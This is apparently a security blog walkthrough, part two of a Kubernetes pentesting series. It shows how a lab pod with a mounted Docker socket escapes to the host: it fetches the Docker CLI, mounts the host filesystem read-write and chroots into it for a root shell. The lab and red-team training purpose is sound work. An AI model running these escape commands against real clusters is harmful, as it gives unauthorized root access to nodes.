Kubernetes Pentesting – Part Two

In Part One, we gained a foothold in the Kubernetes cluster using an external attacker model: discovering a vulnerable web application, exploiting a command injection flaw, and obtaining a reverse shell inside a Kubernetes pod.

Now in Part Two, we escalate our position and move vertically, from initial container access to host-level compromise, by abusing a dangerous misconfiguration: the exposure of the Docker socket within a container.

What You’ll Learn

In this blog, we’ll walk through:

  • How to interact with Docker from inside a Kubernetes container
  • How to exploit the mounted Docker socket (/var/run/docker.sock) to escape the container
  • Techniques to gain root access on the underlying Node
  • How attackers pivot from pod to host, and why defenders must detect and block these paths

Our lab environment features a vulnerable Kubernetes cluster designed to simulate real-world misconfigurations, which is ideal for red team training and adversary emulation. The container in this scenario runs with access to the Docker daemon via a mounted docker.sock, a critical misconfiguration that enables container escape.

/var/run/docker.sock is a Unix domain socket used for communication between the Docker client and the Docker daemon (dockerd). If a container has access to this socket, it can:

  • Control the host’s Docker daemon
  • Launch privileged containers
  • Mount the host filesystem
  • Execute commands directly on the Node

Risk: Mounting docker.sock inside a container is essentially giving that container root access to the host.

Red Team Tip:

During post-exploitation, always check for:

  • /var/run/docker.sock
  • Suspicious mounts (/host, /proc, /root)
  • Privileged flags or capabilities

Assuming we’ve already obtained a reverse shell inside the container, here’s how to escalate privileges using Docker.

Step 1: Download the Docker CLI

wget https://download.docker.com/linux/static/stable/x86_64/docker-24.0.7.tgz

tar xzvf docker-24.0.7.tgz

Step 2: Check for docker.sock Exposure

ls /var/run/docker.sock

curl --unix-socket /var/run/docker.sock http://localhost/containers/json

Step 3: Escape the Container (Mount Host Filesystem)

#Read-only mount (for safe enumeration):
./docker -H unix:///var/run/docker.sock run -it -v /:/rbtsecurity:ro -t alpine sh

# Read-write mount (for full host compromise):
./docker -H unix:///var/run/docker.sock run -it -v /:/rbtsecurity alpine sh

This launches a new container with the host filesystem mounted at /rbtsecurity. If :ro is omitted, full write access is granted. We now directly access system files, logs, credentials, and binaries.

As we can see, we successfully escaped from the container, moved vertically, and compromised the worker node’s Linux system; we can confirm this because we had access to the same file from the worker node’s desktop (Copy of webapp.tar updated_files.zip).

You can also spawn a container and chroot into the host. This gives you a full host shell, bypassing container isolation.

./docker run -v /:/mnt --rm -it alpine chroot /mnt sh

In Part Two, we demonstrated how an attacker can escalate privileges after compromising a Kubernetes pod by:

  • Uploading tools like kubectl or docker,
  • Exploiting the Docker socket for host control,
  • Using privileged containers or chroot techniques to escape the container boundary.

This illustrates the critical importance of runtime hardening in Kubernetes—a single misconfiguration can lead to full Node and potentially full cluster compromise.

In Part Three, we will dive into:

  • Engaging with containers within the cluster’s pods.
  • Abusing privileged flag and writing to kernel space.

Stay tuned for the next adversary emulation focused on Kubernetes cluster.

Share the Post:

Table of Contents

Subscribe To Our Blog

Light